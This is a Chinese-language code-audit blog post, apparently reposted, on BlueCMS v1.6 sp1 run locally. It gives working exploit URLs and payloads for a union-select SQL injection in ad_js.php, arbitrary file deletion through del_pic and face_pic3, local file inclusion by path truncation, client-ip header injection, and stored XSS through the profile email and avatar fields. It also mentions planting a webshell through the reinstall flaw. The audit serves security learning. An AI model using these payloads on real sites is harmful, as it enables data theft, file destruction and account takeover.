BlueCMS代碼審計


BlueCMS版本號為:bluecms_v1.6_sp1

本地搭建環境后將源代碼丟進seay源代碼審計系統,開啟本地web服務頁面訪問,大部分白盒+小部分黑盒審計

 

 搭建好環境后第一步先檢查是否有重裝漏洞,訪問網站install位置,我的網址是:

http://127.0.0.1/bluecms_v1.6_sp1/bluecms/install/

  

 

 可以看到存在重裝漏洞,源代碼里面沒有檢測網站是否已經搭建,所以我們可以通過重裝獲取管理員密碼進而在后台寫入shell

同時我們也可以在填入配置的時候,可以嘗試直接寫入一句話木馬進config.php文件,從而拿到shell

 

這個時候seay審計工具也審計結束了

 

 我們可以依次進行分析,找出漏洞

進入ID=1的漏洞詳情

疑似漏洞點為:

$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);

  可以看到$ad_id沒有引號包裹,存在數字型SQL注入漏洞,接下來我們需要找到$ad_id參數的輸入點,構造利用點

這里只對輸入的$ad_id進行了空格的過濾

$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';

  輸出位置代碼為:

echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";

  而在ad_js.php文件的開頭引入了過濾文件

require_once dirname(__FILE__) . '/include/common.inc.php';

  我們查看common.inc.php文件,有

if(!get_magic_quotes_gpc())
{
	$_POST = deep_addslashes($_POST);
	$_GET = deep_addslashes($_GET);
	$_COOKIES = deep_addslashes($_COOKIES);
	$_REQUEST = deep_addslashes($_REQUEST);
}

  若果沒有開啟GPC防注入的話,則對POST,GET,COOKIE,REQUEST參數都進行過濾,但是deep_addslashes

function deep_addslashes($str)
{
	if(is_array($str))
	{
		foreach($str as $key=>$val)
		{
			$str[$key] = deep_addslashes($val);
		}
	}
	else
	{
		$str = addslashes($str);
	}
	return $str;
}

  僅僅是在addslashes過濾函數基礎上的一個修改,而addslashes函數是不能防止數字型注入的,回到剛才漏洞的注入點:

$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);

  可以看到這里是數字型的注入,所以我們能夠直接進行注入。

添加單引號:

http://127.0.0.1/bluecms_v1.6_sp1/bluecms/ad_js.php?ad_id=1%27

  

 

 

 從源代碼我們已經看出來這是數字型注入了,我們可以不輸入單引號,但是如果不是數字型注入,我們嘗試使用寬字節繞過GPC

  成功令%df%27合成一個漢字

 

 寬字節注入繞過GPC實際上是PHP與MySQL交互過程中發生編碼轉換導致的問題,從上面我們可以看到將轉義符去除了,進而可以對於字符型注入

當然這里我們繼續使用數字型,使用order by 判斷字段數

http://127.0.0.1/bluecms_v1.6_sp1/bluecms/ad_js.php?ad_id=1%20order%20by%207

  頁面沒有任何顯示,因為在ad_js.php的輸出里面是

echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";

  將輸出在源代碼中注釋了,不會顯示在界面中,想要查看也很簡單,查看源代碼即可

字段數是7,查看回顯位置

http://127.0.0.1/bluecms_v1.6_sp1/bluecms/ad_js.php?ad_id=1%20and%201=2%20union%20select%201,2,3,4,5,6,7

  

 

 回顯位置是7,簡單查看一下user用戶

 

 成功讀取當前用戶,SQL注入漏洞成功利用。

 

第二個漏洞點在:

$db->query("UPDATE ".table('ann')." SET click = click+1 WHERE ann_id = ".$ann_id);

  同樣可以看到可能存在數字型注入

$ann_id = !empty($_REQUEST['ann_id']) ? intval($_REQUEST['ann_id']) : '';

  但是在這里將輸入的ann_id進行了數字的轉換,以至於不能進一步利用

另外好幾個疑似SQL注入的點都是用intval進行了數字轉換導致不能利用

 

疑似任意文件刪除漏洞:

 

elseif($act == 'del_pic')
{
 	$id = $_REQUEST['id'];
 	$db->query("DELETE FROM ".table('post_pic')." WHERE pic_path='$id'");
 	if(file_exists(BLUE_ROOT.$id))
 	{
 		@unlink(BLUE_ROOT.$id);
 	}
}

  可以看出來,選擇動作為刪除,傳入id參數,先從數據庫中將其刪除,然后如果本地存在該文件也一並繼續刪除。

我們在同目錄下創建test.txt

payload為:

http://127.0.0.1/bluecms_v1.6_sp1/bluecms/publish.php?act=del_pic&id=test.txt

  

 

 訪問構造的網址

 

 文件已刪除,進一步可刪除服務器任意文件

 

二更

繼續看疑似漏洞點

$condition = " AND cat_id IN(SELECT cat_id FROM ".table('category')." WHERE parentid = ".$cid.")";

  同樣,對於$cid使用了強轉,無法利用

$cid = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '';

  

本地文件包含疑似漏洞點:

 elseif ($act == 'pay'){
 	include 'data/pay.cache.php';
 	$price = $_POST['price'];
 	$id = $_POST['id'];
 	$name = $_POST['name'];
 	if (empty($_POST['pay'])) {
 		showmsg('對不起,您沒有選擇支付方式ʽ');
 	}
 	include 'include/payment/'.$_POST['pay']."/index.php";
 }

  我們到bluecms的文件夾里面去找pay能夠選擇哪種支付方式:

 

 

 alipay,所以我們先構造pay=alipay

 

 

 跳轉到了支付寶的一個支付界面,接着我們嘗試本地文件包含,先嘗試%00截斷和和windows下點+斜杠截斷的方法,把本地phpstudy環境中php版本開到5.3.4以下,因為這兩個截斷在5.3以后的版本中已經全面修復了。

alipay同目錄下創建log.txt文件,文件內容為:

 

 

 

 

 

 先嘗試00截斷:

 

 

 頁面無回顯,我們在源代碼中添加一句:

 

 

 重新提交POST數據,可以看到頁面顯示了我們提交后的pay

 

 

 應該是引入了過濾函數,將0前面添加了反斜杠防止截斷。

再嘗試windows下使用240個連接的點進行截斷,我也沒數有多少個,反正多輸幾個再說

 

 

 可以看到成功包含了本地文件,存在本地文件包含漏洞

 

在user.php中也存在疑似任意文件刪除

elseif($act == 'del_pic'){
 	$id = $_REQUEST['id'];
 	$db->query("DELETE FROM ".table('company_image')." WHERE path='$id'");
 	if(file_exists(BLUE_ROOT.$id)){
 		@unlink(BLUE_ROOT.$id);
 	}
 }

  可以看到這一段與之前publish.php是類似的(除了表名不同)

所以我們簡單嘗試是否存在任意文件刪除,到user.php同目錄文件夾下創建test.txt

 

 

 構造的payload為:

http://127.0.0.1/bluecms_v1.6_sp1/bluecms/user.php?act=del_pic&id=test.txt

  但是此時頁面卻報錯了

 

個人感覺是由於在publish.php中刪除,雖然其在數據庫中即便沒有找到該路徑,但是程序選擇了繼續執行下去,但是在user.php中設置的是如果沒有找到該路徑,就拋出錯誤,同時不再繼續進行,故這里不能進行任意文件的刪除。

 

在user.php中另外一處疑似任意文件刪除漏洞

	if (!empty($_POST['face_pic1'])){
        if (strpos($_POST['face_pic1'], 'http://') != false && strpos($_POST['face_pic1'], 'https://') != false){
           showmsg('ֻ֧只支持本站相對路徑地址');
         }
        else{
           $face_pic = trim($_POST['face_pic1']);
        }
    }else{
		if(file_exists(BLUE_ROOT.$_POST['face_pic3'])){
			@unlink(BLUE_ROOT.$_POST['face_pic3']);
		}
	}

  可以看到在else中對於POST輸入的face_pic3沒有進行其余的檢查而直接@unlink刪除了文件。

同樣先創建test.txt文件

 

hackerbar構造:

 

 

運行后更新個人資料成功

 

 同時目錄下的test.txt文件已被刪除

 

 

 

bluecms中獲取用戶IP地址是通過:

function getip()
{
	if (getenv('HTTP_CLIENT_IP'))
	{
		$ip = getenv('HTTP_CLIENT_IP'); 
	}
	elseif (getenv('HTTP_X_FORWARDED_FOR')) 
	{ //獲取客戶端用代理服務器訪問時的真實ip 地址
		$ip = getenv('HTTP_X_FORWARDED_FOR');
	}
	elseif (getenv('HTTP_X_FORWARDED')) 
	{ 
		$ip = getenv('HTTP_X_FORWARDED');
	}
	elseif (getenv('HTTP_FORWARDED_FOR'))
	{
		$ip = getenv('HTTP_FORWARDED_FOR'); 
	}
	elseif (getenv('HTTP_FORWARDED'))
	{
		$ip = getenv('HTTP_FORWARDED');
	}
	else
	{ 
		$ip = $_SERVER['REMOTE_ADDR'];
	}
	return $ip;
}

  實際上使用XFF是能夠繞過的,大概看了一下,對於ban掉的IP也是通過XFF獲取到的IP地址來判斷的,並不安全

在guest_book.php文件中調用了獲取到的IP地址存儲到數據庫中:

elseif ($act == 'send')
{
	$user_id = $_SESSION['user_id'] ? $_SESSION['user_id'] : 0;
	$rid = intval($_POST['rid']);
 	$content = !empty($_POST['content']) ? htmlspecialchars($_POST['content']) : '';
 	$content = nl2br($content);
 	if(empty($content))
 	{
 		showmsg('評論內容不能為空');
 	}
	$sql = "INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content) 
			VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')";
	$db->query($sql);
	showmsg('恭喜您留言成功', 'guest_book.php?page_id='.$_POST['page_id']);
}

  $online_ip是在guest_book.php包含的common.inc.php文件中獲取到的:

$online_ip = getip();

  getip函數在common.fun.php中,上面我們顯示過代碼,這里不再贅述。

雖然整個代碼里面開啟了SQL防注入以及參數過濾,但是在PHP5之后使用$_SERVER取到的header字段不會受到GPC的影響,而在header注入中最常見也是程序員經常會忽略的地方就是user-agent,referer以及client-ip/X-Forwarded-For,我們這里就是利用這個特性鑽了空子而注入。

先在網頁上嘗試留言

 

 留言成功,使用burpsuite抓包,使用client-ip偽造ip地址

 

 這里有很多種注入方式,我們簡單回顯當前數據庫用戶

 

 

 

明天再更,找一些XSS漏洞

 

三更

找一下XSS漏洞,XSS漏洞經常出現在文章發表,評論回復,留言以及資料設置等地方,這里我們根據功能點去尋找

 

來到留言反饋界面

http://127.0.0.1/bluecms_v1.6_sp1/bluecms/guest_book.php

  

 

 代碼里有:

$content = !empty($_POST['content']) ? htmlspecialchars($_POST['content']) : '';

  對於我們輸入的正文content進行了XSS過濾

昨天有一個漏洞是client-ip進行注入,嘗試了一下在偽造ip中添加XSS攻擊腳本,但是getip()獲取的長度有限制,不能構成攻擊,但是這里確實是存在XSS漏洞,將guest_book.htm顯示IP代碼修改一下:

發表於:{#$guest_list[g].add_time|date_format:"%Y-%m-%d %H:%M:%S"#}   IP: <script>{#$guest_list[g].ip#}</script>

  在IP處添加了script來顯示。

 

 如果沒有長度限制,應該將script添加到client-ip里面,發送留言

 

 修改成有漏洞的代碼了hhh。

 

繼續尋找存儲型的XSS漏洞,存儲型XSS漏洞需要尋找未過濾的輸入點和未過濾的輸出函數,看一下個人資料處

 

 這里的個人資料是可以修改的,查看輸入個人資料處代碼

$birthday = trim($_POST['birthday']);
$sex = intval($_POST['sex']);
$email = !empty($_POST['email']) ? trim($_POST['email']) : '';
$msn = !empty($_POST['msn']) ? trim($_POST['msn']) : '';
$qq = !empty($_POST['qq']) ? trim($_POST['qq']) : '';
$mobile_phone = !empty($_POST['mobile_phone']) ? trim($_POST['mobile_phone']) : '';
$office_phone = !empty($_POST['office_phone']) ? trim($_POST['office_phone']) : '';
$home_phone   = !empty($_POST['home_phone']) ? trim($_POST['home_phone']) : '';
$address = !empty($_POST['address']) ? htmlspecialchars($_POST['address']) : '';

  看上去只對地址進行了XSS的過濾,再看看輸出的位置

$user = $db->getone("SELECT * FROM ".table('user')." WHERE user_id=".intval($_SESSION['user_id']));
$ann_arr = get_ann(0, 8);
template_assign(array(
				'act', 
				'user', 
				'current_act', 
				'ann_arr'
			), 
			array(
				$act, 
				$user, 
				'會員中心',
				$ann_arr
			)
		);
$smarty->display('user.htm');

  將登陸用戶的信息從數據庫中提取出來,並且以user.htm為模板顯示出來,模板部分代碼為:

 

實際上經過測試此處能夠XSS的輸入框有兩處:分別是郵箱,用戶頭像

因為現居住地經過了過濾,QQ,辦公電話有長度限制,出生日期我不知道怎么設定的,應該是有輸入規范2020-4-22這種,不能輸入不合法的數字:

 

 而郵箱處顯示代碼為:

<td align="left"><input name="email" type="text" value="{#$user.email#}" class="inputbox" /></td>

  我們輸入payload為:

<script>alert(2)</script></td>//

  個人頭像處顯示代碼為:

<td align="left"><input type="text" name="face_pic1" value="{#$user.face_pic#}" class="inputbox" /></td>

  我們輸入payload為:

"/></td><script>alert(/xss/);</script>//

  確認修改后訪問user.php

 

 

 

 成功執行存儲型XSS。

 

把《代碼審計》一書看完了,接下來需要慢慢審小型CMS,印證自己看書時的一些想法,並且熟練運用書中的技巧,爭取在上半年拿到CVE吧


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM